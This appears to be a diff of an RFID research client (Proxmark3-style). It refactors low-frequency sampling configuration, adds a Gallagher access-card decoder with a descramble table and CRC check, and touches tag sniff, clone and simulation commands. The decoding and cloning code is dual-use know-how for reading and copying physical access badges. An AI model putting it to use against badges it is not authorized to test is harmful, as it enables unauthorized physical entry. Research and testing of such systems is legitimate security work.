errors |= param_getdec(Cmd, cmdp + 1, &divisor); config.divisor = param_get8ex(Cmd, cmdp + 1, 95, 10);
if (divisor < 19) { if (config.divisor < 19) {
PrintAndLogEx(ERR, "divisor must be between 19 and 255"); PrintAndLogEx(ERR, "divisor must be between 19 and 255");
return PM3_EINVARG; return PM3_EINVARG;
} }
@ -498,36 +507,50 @@ int CmdLFConfig(const char *Cmd) {
break; break;
case 'f': { case 'f': {
int freq = param_get32ex(Cmd, cmdp + 1, 125, 10); int freq = param_get32ex(Cmd, cmdp + 1, 125, 10);
divisor = LF_FREQ2DIV(freq); config.divisor = LF_FREQ2DIV(freq);
if (divisor < 19) { if (config.divisor < 19) {
PrintAndLogEx(ERR, "freq must be between 47 and 600"); PrintAndLogEx(ERR, "freq must be between 47 and 600");
return PM3_EINVARG; return PM3_EINVARG;
} }
cmdp += 2; cmdp += 2;
break; break;
} }
case 't': case 't': {
errors |= param_getdec(Cmd, cmdp + 1, &unsigned_trigg); uint8_t trigg = 0;
errors |= param_getdec(Cmd, cmdp + 1, &trigg);
cmdp += 2; cmdp += 2;
if (!errors) { if (!errors) {
trigger_threshold = unsigned_trigg; config.trigger_threshold = trigg;
g_lf_threshold_set = (trigger_threshold > 0); g_lf_threshold_set = (config.trigger_threshold > 0);
} }
break; break;
case 'b': }
errors |= param_getdec(Cmd, cmdp + 1, &bps); case 'b': {
config.bits_per_sample = param_get8ex(Cmd, cmdp + 1, 8, 10);
// bps is limited to 8
if (config.bits_per_sample >> 4)
config.bits_per_sample = 8;
cmdp += 2; cmdp += 2;
break; break;
case 'd': }
errors |= param_getdec(Cmd, cmdp + 1, &decimation); case 'd': {
config.decimation = param_get8ex(Cmd, cmdp + 1, 1, 10);
// decimation is limited to 255
if (config.decimation >> 4)
config.decimation = 8;
cmdp += 2; cmdp += 2;
break; break;
}
case 'a': case 'a':
averaging = param_getchar(Cmd, cmdp + 1) == '1'; config.averaging = (param_getchar(Cmd, cmdp + 1) == '1');
cmdp += 2; cmdp += 2;
break; break;
case 's': case 's':
samples_to_skip = param_get32ex(Cmd, cmdp + 1, 0, 10); config.samples_to_skip = param_get32ex(Cmd, cmdp + 1, 0, 10);
cmdp += 2; cmdp += 2;
break; break;
default: default:
@ -540,28 +563,19 @@ int CmdLFConfig(const char *Cmd) {
// validations // validations
if (errors) return usage_lf_config(); if (errors) return usage_lf_config();
// print current settings.
if (cmdp == 0)
return lf_config(NULL);
// bps is limited to 8
if (bps >> 4) bps = 8;
sample_config config = { decimation, bps, averaging, divisor, trigger_threshold, samples_to_skip, true };
return lf_config(&config); return lf_config(&config);
} }
int lf_read(bool silent, uint32_t samples) { int lf_read(bool verbose, uint32_t samples) {
if (!session.pm3_present) return PM3_ENOTTY; if (!session.pm3_present) return PM3_ENOTTY;
struct p { struct p {
uint8_t silent; uint8_t verbose;
uint32_t samples; uint32_t samples;
} PACKED; } PACKED;
struct p payload; struct p payload;
payload.silent = silent; payload.verbose = verbose;
payload.samples = samples; payload.samples = samples;
clearCommandBuffer(); clearCommandBuffer();
@ -579,7 +593,7 @@ int lf_read(bool silent, uint32_t samples) {
// resp.oldarg[0] is bits read not bytes read. // resp.oldarg[0] is bits read not bytes read.
uint32_t bits = (resp.data.asDwords[0] / 8); uint32_t bits = (resp.data.asDwords[0] / 8);
getSamples(bits, silent); getSamples(bits, verbose);
return PM3_SUCCESS; return PM3_SUCCESS;
} }
@ -589,21 +603,21 @@ int CmdLFRead(const char *Cmd) {
if (!session.pm3_present) return PM3_ENOTTY; if (!session.pm3_present) return PM3_ENOTTY;
bool errors = false; bool errors = false;
bool silent = false; bool verbose = true;
uint32_t samples = 0; uint32_t samples = 0;
uint8_t cmdp = 0; uint8_t cmdp = 0;
while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { while (param_getchar(Cmd, cmdp) != 0x00 && !errors) {
switch (tolower(param_getchar(Cmd, cmdp))) { switch (tolower(param_getchar(Cmd, cmdp))) {
case 'h': case 'h':
return usage_lf_read(); return usage_lf_read();
case 's':
silent = true;
cmdp++;
break;
case 'd': case 'd':
samples = param_get32ex(Cmd, cmdp + 1, 0, 10); samples = param_get32ex(Cmd, cmdp + 1, 0, 10);
cmdp += 2; cmdp += 2;
break; break;
case 's':
verbose = false;
cmdp++;
break;
default: default:
PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp));
errors = true; errors = true;
@ -614,7 +628,7 @@ int CmdLFRead(const char *Cmd) {
//Validations //Validations
if (errors) return usage_lf_read(); if (errors) return usage_lf_read();
return lf_read(silent, samples); return lf_read(verbose, samples);
} }
int CmdLFSniff(const char *Cmd) { int CmdLFSniff(const char *Cmd) {
@ -627,7 +641,7 @@ int CmdLFSniff(const char *Cmd) {
clearCommandBuffer(); clearCommandBuffer();
SendCommandNG(CMD_LF_SNIFF_RAW_ADC, NULL, 0); SendCommandNG(CMD_LF_SNIFF_RAW_ADC, NULL, 0);
WaitForResponse(CMD_ACK, NULL); WaitForResponse(CMD_ACK, NULL);
getSamples(0, false); getSamples(0, true);
return PM3_SUCCESS; return PM3_SUCCESS;
} }
@ -798,7 +812,7 @@ int CmdLFfskSim(const char *Cmd) {
size_t size = DemodBufferLen; size_t size = DemodBufferLen;
if (size > (PM3_CMD_DATA_SIZE - sizeof(lf_fsksim_t))) { if (size > (PM3_CMD_DATA_SIZE - sizeof(lf_fsksim_t))) {
PrintAndLogEx(NORMAL, "DemodBuffer too long for current implementation - length: %zu - max: %zu", size, PM3_CMD_DATA_SIZE - sizeof(lf_fsksim_t)); PrintAndLogEx(WARNING, "DemodBuffer too long for current implementation - length: %zu - max: %zu", size, PM3_CMD_DATA_SIZE - sizeof(lf_fsksim_t));
size = PM3_CMD_DATA_SIZE - sizeof(lf_fsksim_t); size = PM3_CMD_DATA_SIZE - sizeof(lf_fsksim_t);
} }
@ -900,7 +914,7 @@ int CmdLFaskSim(const char *Cmd) {
size_t size = DemodBufferLen; size_t size = DemodBufferLen;
if (size > (PM3_CMD_DATA_SIZE - sizeof(lf_asksim_t))) { if (size > (PM3_CMD_DATA_SIZE - sizeof(lf_asksim_t))) {
PrintAndLogEx(NORMAL, "DemodBuffer too long for current implementation - length: %zu - max: %zu", size, PM3_CMD_DATA_SIZE - sizeof(lf_asksim_t)); PrintAndLogEx(WARNING, "DemodBuffer too long for current implementation - length: %zu - max: %zu", size, PM3_CMD_DATA_SIZE - sizeof(lf_asksim_t));
size = PM3_CMD_DATA_SIZE - sizeof(lf_asksim_t); size = PM3_CMD_DATA_SIZE - sizeof(lf_asksim_t);
} }
@ -993,13 +1007,13 @@ int CmdLFpskSim(const char *Cmd) {
if (errors) return usage_lf_simpsk(); if (errors) return usage_lf_simpsk();
if (dataLen == 0) { //using DemodBuffer if (dataLen == 0) { //using DemodBuffer
PrintAndLogEx(NORMAL, "Getting Clocks"); PrintAndLogEx(INFO, "Getting Clocks");
if (clk == 0) clk = GetPskClock("", false); if (clk == 0) clk = GetPskClock("", false);
PrintAndLogEx(NORMAL, "clk: %d", clk); PrintAndLogEx(INFO, "clk: %d", clk);
if (!carrier) carrier = GetPskCarrier("", false); if (!carrier) carrier = GetPskCarrier("", false);
PrintAndLogEx(NORMAL, "carrier: %d", carrier); PrintAndLogEx(INFO, "carrier: %d", carrier);
} else { } else {
setDemodBuff(data, dataLen, 0); setDemodBuff(data, dataLen, 0);
@ -1015,12 +1029,12 @@ int CmdLFpskSim(const char *Cmd) {
//need to convert psk2 to psk1 data before sim //need to convert psk2 to psk1 data before sim
psk2TOpsk1(DemodBuffer, DemodBufferLen); psk2TOpsk1(DemodBuffer, DemodBufferLen);
} else { } else {
PrintAndLogEx(NORMAL, "Sorry, PSK3 not yet available"); PrintAndLogEx(WARNING, "Sorry, PSK3 not yet available");
} }
} }
size_t size = DemodBufferLen; size_t size = DemodBufferLen;
if (size > (PM3_CMD_DATA_SIZE - sizeof(lf_psksim_t))) { if (size > (PM3_CMD_DATA_SIZE - sizeof(lf_psksim_t))) {
PrintAndLogEx(NORMAL, "DemodBuffer too long for current implementation - length: %zu - max: %zu", size, PM3_CMD_DATA_SIZE - sizeof(lf_psksim_t)); PrintAndLogEx(WARNING, "DemodBuffer too long for current implementation - length: %zu - max: %zu", size, PM3_CMD_DATA_SIZE - sizeof(lf_psksim_t));
size = PM3_CMD_DATA_SIZE - sizeof(lf_psksim_t); size = PM3_CMD_DATA_SIZE - sizeof(lf_psksim_t);
} }
@ -1054,10 +1068,9 @@ int CmdLFSimBidir(const char *Cmd) {
return PM3_SUCCESS; return PM3_SUCCESS;
} }
// ICEMAN, todo, swap from Graphbuffer. // ICEMAN, Verichip is Animal tag. Tested against correct reader
// according to Westhus this demod uses decimated samples / 2. /*
// need to do complete rewrite. Need access to reader / chip
// should be extracted to seperate files aswell
int CmdVchDemod(const char *Cmd) { int CmdVchDemod(const char *Cmd) {
if (GraphTraceLen < 4096) { if (GraphTraceLen < 4096) {
@ -1081,6 +1094,8 @@ int CmdVchDemod(const char *Cmd) {
1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
}; };
// iceman, using correlate as preamble detect seems way better than our current memcompare
// So first, we correlate for the sync pattern, and mark that. // So first, we correlate for the sync pattern, and mark that.
int bestCorrel = 0, bestPos = 0; int bestCorrel = 0, bestPos = 0;
int i, j, sum = 0; int i, j, sum = 0;
@ -1135,6 +1150,7 @@ int CmdVchDemod(const char *Cmd) {
} }
return PM3_SUCCESS; return PM3_SUCCESS;
} }
*/
static bool CheckChipType(bool getDeviceData) { static bool CheckChipType(bool getDeviceData) {
@ -1168,6 +1184,7 @@ out:
} }
int CmdLFfind(const char *Cmd) { int CmdLFfind(const char *Cmd) {
int retval = PM3_SUCCESS;
int ans = 0; int ans = 0;
size_t minLength = 2000; size_t minLength = 2000;
char cmdp = tolower(param_getchar(Cmd, 0)); char cmdp = tolower(param_getchar(Cmd, 0));
@ -1180,7 +1197,7 @@ int CmdLFfind(const char *Cmd) {
bool isOnline = (session.pm3_present && (cmdp != '1')); bool isOnline = (session.pm3_present && (cmdp != '1'));
if (isOnline) if (isOnline)
lf_read(true, 30000); lf_read(false, 30000);
if (GraphTraceLen < minLength) { if (GraphTraceLen < minLength) {
PrintAndLogEx(FAILED, "Data in Graphbuffer was too small."); PrintAndLogEx(FAILED, "Data in Graphbuffer was too small.");
@ -1196,19 +1213,20 @@ int CmdLFfind(const char *Cmd) {
// only run these tests if device is online // only run these tests if device is online
if (isOnline) { if (isOnline) {
if (IfPm3Hitag()) {
if (readHitagUid()) {
PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Hitag") "found!");
return PM3_SUCCESS;
}
}
// only run if graphbuffer is just noise as it should be for hitag // only run if graphbuffer is just noise as it should be for hitag
// The improved noise detection will find Cotag. // The improved noise detection will find Cotag.
if (getSignalProperties()->isnoise) { if (getSignalProperties()->isnoise) {
if (IfPm3Hitag()) {
if (readHitagUid()) {
PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Hitag") "found!");
return PM3_SUCCESS;
}
}
if (readMotorolaUid()) { if (readMotorolaUid()) {
PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Motorola ID") "found!"); PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Motorola FlexPass ID") "found!");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
@ -1250,7 +1268,6 @@ int CmdLFfind(const char *Cmd) {
if (demodGallagher() == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("GALLAGHER ID") "found!"); goto out;} if (demodGallagher() == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("GALLAGHER ID") "found!"); goto out;}
// if (demodTI() == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Texas Instrument ID") "found!"); goto out;} // if (demodTI() == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Texas Instrument ID") "found!"); goto out;}
//if (demodFermax() == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Fermax ID") "found!"); goto out;} //if (demodFermax() == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Fermax ID") "found!"); goto out;}
//if (demodFlex() == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Motorola FlexPass ID") "found!"); goto out;}
PrintAndLogEx(FAILED, _RED_("No known 125/134 kHz tags found!")); PrintAndLogEx(FAILED, _RED_("No known 125/134 kHz tags found!"));
@ -1291,12 +1308,15 @@ int CmdLFfind(const char *Cmd) {
PrintAndLogEx(FAILED, _RED_("\nNo data found!")); PrintAndLogEx(FAILED, _RED_("\nNo data found!"));
} }
retval = PM3_ESOFT;
out: out:
// identify chipset // identify chipset
if (CheckChipType(isOnline) == false) { if (CheckChipType(isOnline) == false) {
PrintAndLogEx(DEBUG, "Automatic chip type detection " _RED_("failed")); PrintAndLogEx(DEBUG, "Automatic chip type detection " _RED_("failed"));
} }
return PM3_SUCCESS; return retval;
} }
static command_t CommandTable[] = { static command_t CommandTable[] = {
@ -1329,18 +1349,19 @@ static command_t CommandTable[] = {
{"visa2000", CmdLFVisa2k, AlwaysAvailable, "{ Visa2000 RFIDs... }"}, {"visa2000", CmdLFVisa2k, AlwaysAvailable, "{ Visa2000 RFIDs... }"},
{"", CmdHelp, AlwaysAvailable, ""}, {"", CmdHelp, AlwaysAvailable, ""},
{"config", CmdLFConfig, IfPm3Lf, "Get/Set config for LF sampling, bit/sample, decimation, frequency"}, {"config", CmdLFConfig, IfPm3Lf, "Get/Set config for LF sampling, bit/sample, decimation, frequency"},
{"cmdread", CmdLFCommandRead, IfPm3Lf, "<off period> <'0' period> <'1' period> <command> ['h' 134] \n\t\t-- Modulate LF reader field to send command before read (all periods in microseconds)"}, {"cmdread", CmdLFCommandRead, IfPm3Lf, "Modulate LF reader field to send command before read (all periods in microseconds)"},
{"read", CmdLFRead, IfPm3Lf, "['s' silent] Read 125/134 kHz LF ID-only tag. Do 'lf read h' for help"}, {"read", CmdLFRead, IfPm3Lf, "Read LF tag"},
{"search", CmdLFfind, AlwaysAvailable, "[offline] ['u'] Read and Search for valid known tag (in offline mode it you can load first then search) \n\t\t-- 'u' to search for unknown tags"}, {"search", CmdLFfind, AlwaysAvailable, "Read and Search for valid known tag (in offline mode it you can load first then search)"},
{"sim", CmdLFSim, IfPm3Lf, "[GAP] -- Simulate LF tag from buffer with optional GAP (in microseconds)"}, {"sim", CmdLFSim, IfPm3Lf, "Simulate LF tag from buffer with optional GAP (in microseconds)"},
{"simask", CmdLFaskSim, IfPm3Lf, "[clock] [invert <1|0>] [biphase/manchester/raw <'b'|'m'|'r'>] [msg separator 's'] [d <hexdata>] \n\t\t-- Simulate LF ASK tag from demodbuffer or input"}, {"simask", CmdLFaskSim, IfPm3Lf, "Simulate LF ASK tag from demodbuffer or input"},
{"simfsk", CmdLFfskSim, IfPm3Lf, "[c <clock>] [i] [H <fcHigh>] [L <fcLow>] [d <hexdata>] \n\t\t-- Simulate LF FSK tag from demodbuffer or input"}, {"simfsk", CmdLFfskSim, IfPm3Lf, "Simulate LF FSK tag from demodbuffer or input"},
{"simpsk", CmdLFpskSim, IfPm3Lf, "[1|2|3] [c <clock>] [i] [r <carrier>] [d <raw hex to sim>] \n\t\t-- Simulate LF PSK tag from demodbuffer or input"}, {"simpsk", CmdLFpskSim, IfPm3Lf, "Simulate LF PSK tag from demodbuffer or input"},
// {"simpsk", CmdLFnrzSim, IfPm3Lf, "Simulate LF NRZ tag from demodbuffer or input"},
{"simbidir", CmdLFSimBidir, IfPm3Lf, "Simulate LF tag (with bidirectional data transmission between reader and tag)"}, {"simbidir", CmdLFSimBidir, IfPm3Lf, "Simulate LF tag (with bidirectional data transmission between reader and tag)"},
{"sniff", CmdLFSniff, IfPm3Lf, "Sniff LF traffic between reader and tag"}, {"sniff", CmdLFSniff, IfPm3Lf, "Sniff LF traffic between reader and tag"},
{"tune", CmdLFTune, IfPm3Lf, "Continuously measure LF antenna tuning"}, {"tune", CmdLFTune, IfPm3Lf, "Continuously measure LF antenna tuning"},
// {"vchdemod", CmdVchDemod, AlwaysAvailable, "['clone'] -- Demodulate samples for VeriChip"}, // {"vchdemod", CmdVchDemod, AlwaysAvailable, "['clone'] -- Demodulate samples for VeriChip"},
{"flexdemod", CmdFlexdemod, AlwaysAvailable, "Demodulate samples for Motorola FlexPass"}, // {"flexdemod", CmdFlexdemod, AlwaysAvailable, "Demodulate samples for Motorola FlexPass"},
{NULL, NULL, NULL, NULL} {NULL, NULL, NULL, NULL}
}; };

View file

@ -32,7 +32,7 @@ int CmdLFSniff(const char *Cmd);
int CmdVchDemod(const char *Cmd); int CmdVchDemod(const char *Cmd);
int CmdLFfind(const char *Cmd); int CmdLFfind(const char *Cmd);
int lf_read(bool silent, uint32_t samples); int lf_read(bool verbose, uint32_t samples);
int lf_config(sample_config *config); int lf_config(sample_config *config);
#endif #endif

View file

@ -333,7 +333,7 @@ static int CmdAWIDDemod(const char *Cmd) {
// this read is the "normal" read, which download lf signal and tries to demod here. // this read is the "normal" read, which download lf signal and tries to demod here.
static int CmdAWIDRead(const char *Cmd) { static int CmdAWIDRead(const char *Cmd) {
lf_read(true, 12000); lf_read(false, 12000);
return CmdAWIDDemod(Cmd); return CmdAWIDDemod(Cmd);
} }

View file

@ -96,7 +96,7 @@ static int CmdCOTAGRead(const char *Cmd) {
case 2: { case 2: {
CmdPlot(""); CmdPlot("");
CmdGrid("384"); CmdGrid("384");
getSamples(0, true); getSamples(0, false);
break; break;
} }
case 1: { case 1: {

View file

@ -468,7 +468,7 @@ static int CmdEM410xDemod(const char *Cmd) {
// this read is the "normal" read, which download lf signal and tries to demod here. // this read is the "normal" read, which download lf signal and tries to demod here.
static int CmdEM410xRead(const char *Cmd) { static int CmdEM410xRead(const char *Cmd) {
lf_read(true, 12288); lf_read(false, 12288);
return CmdEM410xDemod(Cmd); return CmdEM410xDemod(Cmd);
} }
@ -625,7 +625,7 @@ static int CmdEM410xWatch(const char *Cmd) {
PrintAndLogEx(WARNING, "\naborted via keyboard!\n"); PrintAndLogEx(WARNING, "\naborted via keyboard!\n");
break; break;
} }
lf_read(true, 12288); lf_read(false, 12288);
} while (CmdEM410xRead("") != PM3_SUCCESS); } while (CmdEM410xRead("") != PM3_SUCCESS);
return PM3_SUCCESS; return PM3_SUCCESS;

View file

@ -258,7 +258,7 @@ static int CmdFdxDemod(const char *Cmd) {
} }
static int CmdFdxRead(const char *Cmd) { static int CmdFdxRead(const char *Cmd) {
lf_read(true, 10000); lf_read(false, 10000);
return CmdFdxDemod(Cmd); return CmdFdxDemod(Cmd);
} }

View file

@ -14,7 +14,7 @@
int CmdLFFdx(const char *Cmd); int CmdLFFdx(const char *Cmd);
int detectFDXB(uint8_t *dest, size_t *size); int detectFDXB(uint8_t *dest, size_t *size);
int demodFDX(void); int demodFDX(void);
int getFDXBits(uint64_t national_id, uint16_t country, uint8_t isanimal, uint8_t isextended, uint32_t extended, uint8_t *bits); int getFDXBits(uint64_t national_id, uint16_t country, uint8_t is_animal, uint8_t is_extended, uint32_t extended, uint8_t *bits);
#endif #endif

View file

@ -12,7 +12,7 @@
#include "cmdlfgallagher.h" #include "cmdlfgallagher.h"
#include <ctype.h> //tolower #include <ctype.h> //tolower
#include <stdio.h>
#include "commonutil.h" // ARRAYLEN #include "commonutil.h" // ARRAYLEN
#include "common.h" #include "common.h"
#include "cmdparser.h" // command_t #include "cmdparser.h" // command_t
@ -23,6 +23,7 @@
#include "lfdemod.h" // preamble test #include "lfdemod.h" // preamble test
#include "protocols.h" // t55xx defines #include "protocols.h" // t55xx defines
#include "cmdlft55xx.h" // clone.. #include "cmdlft55xx.h" // clone..
#include "crc.h" // CRC8/Cardx
static int CmdHelp(const char *Cmd); static int CmdHelp(const char *Cmd);
@ -39,6 +40,32 @@ static int usage_lf_gallagher_clone(void) {
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static void descramble(uint8_t *arr, uint8_t len) {
uint8_t lut[] = {
0xa3, 0xb0, 0x80, 0xc6, 0xb2, 0xf4, 0x5c, 0x6c, 0x81, 0xf1, 0xbb, 0xeb, 0x55, 0x67, 0x3c, 0x05,
0x1a, 0x0e, 0x61, 0xf6, 0x22, 0xce, 0xaa, 0x8f, 0xbd, 0x3b, 0x1f, 0x5e, 0x44, 0x04, 0x51, 0x2e,
0x4d, 0x9a, 0x84, 0xea, 0xf8, 0x66, 0x74, 0x29, 0x7f, 0x70, 0xd8, 0x31, 0x7a, 0x6d, 0xa4, 0x00,
0x82, 0xb9, 0x5f, 0xb4, 0x16, 0xab, 0xff, 0xc2, 0x39, 0xdc, 0x19, 0x65, 0x57, 0x7c, 0x20, 0xfa,
0x5a, 0x49, 0x13, 0xd0, 0xfb, 0xa8, 0x91, 0x73, 0xb1, 0x33, 0x18, 0xbe, 0x21, 0x72, 0x48, 0xb6,
0xdb, 0xa0, 0x5d, 0xcc, 0xe6, 0x17, 0x27, 0xe5, 0xd4, 0x53, 0x42, 0xf3, 0xdd, 0x7b, 0x24, 0xac,
0x2b, 0x58, 0x1e, 0xa7, 0xe7, 0x86, 0x40, 0xd3, 0x98, 0x97, 0x71, 0xcb, 0x3a, 0x0f, 0x01, 0x9b,
0x6e, 0x1b, 0xfc, 0x34, 0xa6, 0xda, 0x07, 0x0c, 0xae, 0x37, 0xca, 0x54, 0xfd, 0x26, 0xfe, 0x0a,
0x45, 0xa2, 0x2a, 0xc4, 0x12, 0x0d, 0xf5, 0x4f, 0x69, 0xe0, 0x8a, 0x77, 0x60, 0x3f, 0x99, 0x95,
0xd2, 0x38, 0x36, 0x62, 0xb7, 0x32, 0x7e, 0x79, 0xc0, 0x46, 0x93, 0x2f, 0xa5, 0xba, 0x5b, 0xaf,
0x52, 0x1d, 0xc3, 0x75, 0xcf, 0xd6, 0x4c, 0x83, 0xe8, 0x3d, 0x30, 0x4e, 0xbc, 0x08, 0x2d, 0x09,
0x06, 0xd9, 0x25, 0x9e, 0x89, 0xf2, 0x96, 0x88, 0xc1, 0x8c, 0x94, 0x0b, 0x28, 0xf0, 0x47, 0x63,
0xd5, 0xb3, 0x68, 0x56, 0x9c, 0xf9, 0x6f, 0x41, 0x50, 0x85, 0x8b, 0x9d, 0x59, 0xbf, 0x9f, 0xe2,
0x8e, 0x6a, 0x11, 0x23, 0xa1, 0xcd, 0xb5, 0x7d, 0xc7, 0xa9, 0xc8, 0xef, 0xdf, 0x02, 0xb8, 0x03,
0x6b, 0x35, 0x3e, 0x2c, 0x76, 0xc9, 0xde, 0x1c, 0x4b, 0xd1, 0xed, 0x14, 0xc5, 0xad, 0xe9, 0x64,
0x4a, 0xec, 0x8d, 0xf7, 0x10, 0x43, 0x78, 0x15, 0x87, 0xe4, 0xd7, 0x92, 0xe1, 0xee, 0xe3, 0x90
};
for (int i = 0; i < len; i++) {
arr[i] = lut[arr[i]];
}
}
//see ASK/MAN Demod for what args are accepted //see ASK/MAN Demod for what args are accepted
static int CmdGallagherDemod(const char *Cmd) { static int CmdGallagherDemod(const char *Cmd) {
@ -71,15 +98,44 @@ static int CmdGallagherDemod(const char *Cmd) {
uint32_t raw2 = bytebits_to_byte(DemodBuffer + 32, 32); uint32_t raw2 = bytebits_to_byte(DemodBuffer + 32, 32);
uint32_t raw3 = bytebits_to_byte(DemodBuffer + 64, 32); uint32_t raw3 = bytebits_to_byte(DemodBuffer + 64, 32);
// preamble CS? // bytes
uint8_t arr[8] = {0};
for (int i = 0, pos = 0; i < ARRAYLEN(arr); i++) {
pos = (i * 8) + i;
arr[i] = bytebits_to_byte(DemodBuffer + pos, 8);
printf("%d -", pos);
}
printf("\n");
PrintAndLogEx(SUCCESS, "GALLAGHER Tag Found -- Raw: %08X%08X%08X", raw1, raw2, raw3); // crc
PrintAndLogEx(INFO, "How the Raw ID is translated by the reader is unknown. Share your trace file on forum"); uint8_t crc = bytebits_to_byte(DemodBuffer + 72, 8);
uint8_t calc_crc = CRC8Cardx(arr, ARRAYLEN(arr));
PrintAndLogEx(INFO, " Before: %s", sprint_hex(arr, 8));
descramble(arr, ARRAYLEN(arr));
PrintAndLogEx(INFO, " After : %s", sprint_hex(arr, 8));
// 4bit region code
uint8_t rc = (arr[3] & 0x0E) >> 1;
// 16bit FC
uint16_t fc = (arr[5] & 0x0F) << 12 | arr[1] << 4 | ((arr[7] >> 4) & 0x0F);
// 24bit CN
uint32_t cn = arr[0] << 16 | (arr[4] & 0x1F) << 11 | arr[2] << 3 | (arr[3] & 0xE0) >> 4;
// 4bit issue level
uint8_t il = arr[7] & 0x0F;
PrintAndLogEx(SUCCESS, "GALLAGHER Tag Found -- Region: %u FC: %u CN: %u Issue Level: %u", rc, fc, cn, il);
PrintAndLogEx(SUCCESS, " Printed: %C%u", rc + 0x40, fc);
PrintAndLogEx(SUCCESS, " Raw: %08X%08X%08X", raw1, raw2, raw3);
PrintAndLogEx(SUCCESS, " CRC: %02X - %02X (%s)", crc, calc_crc, (crc == calc_crc) ? "OK" : "Failed");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int CmdGallagherRead(const char *Cmd) { static int CmdGallagherRead(const char *Cmd) {
lf_read(true, 4096 * 2 + 20); lf_read(false, 4096 * 2 + 20);
return CmdGallagherDemod(Cmd); return CmdGallagherDemod(Cmd);
} }
@ -126,7 +182,6 @@ static int CmdGallagherClone(const char *Cmd) {
} }
static int CmdGallagherSim(const char *Cmd) { static int CmdGallagherSim(const char *Cmd) {
// ASK/MAN sim. // ASK/MAN sim.
PrintAndLogEx(INFO, " To be implemented, feel free to contribute!"); PrintAndLogEx(INFO, " To be implemented, feel free to contribute!");
return PM3_SUCCESS; return PM3_SUCCESS;
@ -152,20 +207,14 @@ int CmdLFGallagher(const char *Cmd) {
return CmdsParse(CommandTable, Cmd); return CmdsParse(CommandTable, Cmd);
} }
// by marshmellow // find Gallagher preamble in already demoded data
// find PAC preamble in already demoded data
int detectGallagher(uint8_t *dest, size_t *size) { int detectGallagher(uint8_t *dest, size_t *size) {
if (*size < 96) return -1; //make sure buffer has data if (*size < 96) return -1; //make sure buffer has data
size_t startIdx = 0; size_t startIdx = 0;
uint8_t preamble[] = { uint8_t preamble[] = { 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0 };
//0, 0, 0, 0,
1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 0, 1,
0, 1, 0, 1, 0, 1, 0, 0,
0, 1, 1, 0, 0, 0
};
if (!preambleSearch(dest, preamble, sizeof(preamble), size, &startIdx)) if (!preambleSearch(dest, preamble, sizeof(preamble), size, &startIdx))
return -2; //preamble not found return -2; //preamble not found
if (*size != 96) return -3; //wrong demoded size if (*size != 96) return -3; //wrong demoded size
//return start position //return start position
return (int)startIdx; return (int)startIdx;

View file

@ -147,7 +147,7 @@ static int CmdGuardDemod(const char *Cmd) {
} }
static int CmdGuardRead(const char *Cmd) { static int CmdGuardRead(const char *Cmd) {
lf_read(true, 10000); lf_read(false, 10000);
return CmdGuardDemod(Cmd); return CmdGuardDemod(Cmd);
} }

View file

@ -255,7 +255,7 @@ static int CmdHIDDemod(const char *Cmd) {
// this read is the "normal" read, which download lf signal and tries to demod here. // this read is the "normal" read, which download lf signal and tries to demod here.
static int CmdHIDRead(const char *Cmd) { static int CmdHIDRead(const char *Cmd) {
lf_read(true, 12000); lf_read(false, 12000);
return CmdHIDDemod(Cmd); return CmdHIDDemod(Cmd);
} }
@ -342,7 +342,8 @@ static int CmdHIDClone(const char *Cmd) {
} }
clearCommandBuffer(); clearCommandBuffer();
SendCommandOLD(CMD_LF_HID_CLONE, hi2, hi, lo, longid, sizeof(longid)); SendCommandMIX(CMD_LF_HID_CLONE, hi2, hi, lo, longid, sizeof(longid));
PrintAndLogEx(INFO, "Clone command sent. Try "_YELLOW_("'lf hid read'") " to verify");
return PM3_SUCCESS; return PM3_SUCCESS;
} }

View file

@ -18,6 +18,7 @@
#include "commonutil.h" #include "commonutil.h"
#include "hitag.h" #include "hitag.h"
#include "fileutils.h" // savefile #include "fileutils.h" // savefile
#include "protocols.h" // defines
static int CmdHelp(const char *Cmd); static int CmdHelp(const char *Cmd);
@ -35,7 +36,7 @@ static int usage_hitag_sniff(void) {
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, "Examples:");
PrintAndLogEx(NORMAL, " lf hitag sniff"); PrintAndLogEx(NORMAL, " lf hitag sniff");
return 0; return PM3_SUCCESS;
} }
static int usage_hitag_sim(void) { static int usage_hitag_sim(void) {
PrintAndLogEx(NORMAL, "Simulate " _YELLOW_("Hitag2 / HitagS")" transponder"); PrintAndLogEx(NORMAL, "Simulate " _YELLOW_("Hitag2 / HitagS")" transponder");
@ -49,7 +50,7 @@ static int usage_hitag_sim(void) {
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, "Examples:");
PrintAndLogEx(NORMAL, " lf hitag sim 2 b lf-hitag-dump"); PrintAndLogEx(NORMAL, " lf hitag sim 2 b lf-hitag-dump");
return 0; return PM3_SUCCESS;
} }
static int usage_hitag_info(void) { static int usage_hitag_info(void) {
